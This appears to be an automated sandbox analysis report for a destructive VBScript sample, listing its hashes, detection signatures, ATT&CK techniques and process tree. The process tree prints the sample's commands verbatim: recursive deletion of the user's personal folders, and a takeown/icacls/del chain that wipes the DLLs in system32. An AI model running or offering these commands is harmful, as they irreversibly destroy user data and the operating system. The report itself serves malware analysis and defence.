5c3c530835c081210cc95dd2ff29ed430c3529bc3925b9c8d522b583247a8fe8

Analysis

max time kernel
119s
max time network
120s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
09/08/2024, 21:04

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General

Target
script.vbs
Size 1KB
Sample240809-zwj42sshla
SHA256 5c3c530835c081210cc95dd2ff29ed430c3529bc3925b9c8d522b583247a8fe8
MD5 e44a9c187a4e40c2ddb6009af3567919
SHA1 f6b3c56d4eee29799a011e3385e855346c601a23
SHA512 3bc6ba7ac987fe526d0fdcfb70cb3b28acce3b3ae5d71ae92c9fde70404e75182144ab46e7a9c5b0d66c62b5fd045a4108a1784639cc1840104d16dc99db441c
MD5 SHA1 SHA512

Score

8^/10

discovery exploit

Malware Config

Signatures

Possible privilege escalation attempt 2 IoCs

exploit

pid	Process
2952	takeown.exe
2652	icacls.exe

Modifies file permissions 1 TTPs 2 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
2952	takeown.exe
2652	icacls.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeTakeOwnershipPrivilege	2952	takeown.exe

Suspicious use of WriteProcessMemory 30 IoCs

description	pid	Process	procid_target
PID 2972 wrote to memory of 2400	2972	WScript.exe	30
PID 2972 wrote to memory of 2400	2972	WScript.exe	30
PID 2972 wrote to memory of 2400	2972	WScript.exe	30
PID 2972 wrote to memory of 2940	2972	WScript.exe	31
PID 2972 wrote to memory of 2940	2972	WScript.exe	31
PID 2972 wrote to memory of 2940	2972	WScript.exe	31
PID 2972 wrote to memory of 2164	2972	WScript.exe	33
PID 2972 wrote to memory of 2164	2972	WScript.exe	33
PID 2972 wrote to memory of 2164	2972	WScript.exe	33
PID 2972 wrote to memory of 2260	2972	WScript.exe	35
PID 2972 wrote to memory of 2260	2972	WScript.exe	35
PID 2972 wrote to memory of 2260	2972	WScript.exe	35
PID 2972 wrote to memory of 2896	2972	WScript.exe	37
PID 2972 wrote to memory of 2896	2972	WScript.exe	37
PID 2972 wrote to memory of 2896	2972	WScript.exe	37
PID 2972 wrote to memory of 2912	2972	WScript.exe	39
PID 2972 wrote to memory of 2912	2972	WScript.exe	39
PID 2972 wrote to memory of 2912	2972	WScript.exe	39
PID 2972 wrote to memory of 2736	2972	WScript.exe	41
PID 2972 wrote to memory of 2736	2972	WScript.exe	41
PID 2972 wrote to memory of 2736	2972	WScript.exe	41
PID 2972 wrote to memory of 2620	2972	WScript.exe	43
PID 2972 wrote to memory of 2620	2972	WScript.exe	43
PID 2972 wrote to memory of 2620	2972	WScript.exe	43
PID 2620 wrote to memory of 2952	2620	cmd.exe	45
PID 2620 wrote to memory of 2952	2620	cmd.exe	45
PID 2620 wrote to memory of 2952	2620	cmd.exe	45
PID 2620 wrote to memory of 2652	2620	cmd.exe	46
PID 2620 wrote to memory of 2652	2620	cmd.exe	46
PID 2620 wrote to memory of 2652	2620	cmd.exe	46

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\script.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2972
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\YOUR-COMPUTER-HAS-BEEN-DESTROYED_0+16script.vbs"
  2⤵
  PID:2400
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k rd /s /q C:\Users\Admin\desktop >nul && exit
  2⤵
  PID:2940
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k rd /s /q C:\Users\Admin\downloads >nul && exit
  2⤵
  PID:2164
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k rd /s /q C:\Users\Admin\documents >nul && exit
  2⤵
  PID:2260
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k rd /s /q C:\Users\Admin\pictures >nul && exit
  2⤵
  PID:2896
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k rd /s /q C:\Users\Admin\music >nul && exit
  2⤵
  PID:2912
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k rd /s /q C:\Users\Admin\videos >nul && exit
  2⤵
  PID:2736
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k takeown /f C:\Windows\system32\*.dll >nul && icacls C:\Windows\system32\*.dll /grant Everyone:(F) >nul && del /s /q C:\Windows\system32\*.dll >nul 2>&1 && exit
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2620
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Windows\system32\*.dll
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:2952
- - C:\Windows\system32\icacls.exe
    icacls C:\Windows\system32\*.dll /grant Everyone:(F)
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2652

C:\Windows\explorer.exe
"C:\Windows\explorer.exe"
1⤵
PID:2808

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

YOUR-COMPUTER-HAS-BEEN-DESTROYED_0+16script.vbs

Path C:\Users\Admin\AppData\Roaming\YOUR-COMPUTER-HAS-BEEN-DESTROYED_0+16script.vbs
Size 63B
SHA256 f9541539fcffbb80e1ef5f3e19983bddc8d30375e8a80d3754a2ec7ec0aa3ea8
MD5 0e67913dfaa6e19b7f9b2a4d70a639dc
SHA1 23f709f5ccbf4bf460084feb1c5e04208f4d521b
SHA512 c2dc8862b82bc193132e27078246b0430f047d8899cdf90d413a02968bcbd90da95c7f0570661b48ec9b5f1e5f5158e8ad08f2e8ebce812b89a4c0bf33f150da
MD5 SHA1 SHA512

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